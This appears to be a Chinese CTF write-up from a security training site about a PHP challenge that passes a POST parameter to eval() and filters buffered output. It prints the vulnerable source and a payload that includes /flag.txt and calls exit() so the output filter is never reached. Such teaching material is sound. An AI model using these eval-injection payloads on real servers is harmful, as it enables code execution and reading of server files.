命令执行:缓冲区你快停停吧/ob_get_contents();
payload:
c=include('/flag.txt');exit(0);
<?php error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?>
本题涉及到的核心函数:ob_get_contents();
该函数会得到输出缓冲区的内容
这个过程如下:
函数ob_get_contents()在ob_end_clean()前面来获得缓冲区的内容。
此时在执行ob_end_clean()前把内容保存到一个变量中,然后在ob_end_clean()后面对这个变量做操作。
我们可以执行php代码让后面的匹配缓冲区不执行直接退出
具体操作:c=include(‘/flag.txt’);exit(0);
Tips:鼠标经过代码时会出现工具栏,工具栏上方有一键复制代码的功能哦~天云网络培训,专注于网络空间安全相关培训,并提供相关课程的在线培训 报名微信 tyedu1
天云网络培训 » 命令执行:缓冲区你快停停吧/ob_get_contents();
天云网络培训 » 命令执行:缓冲区你快停停吧/ob_get_contents();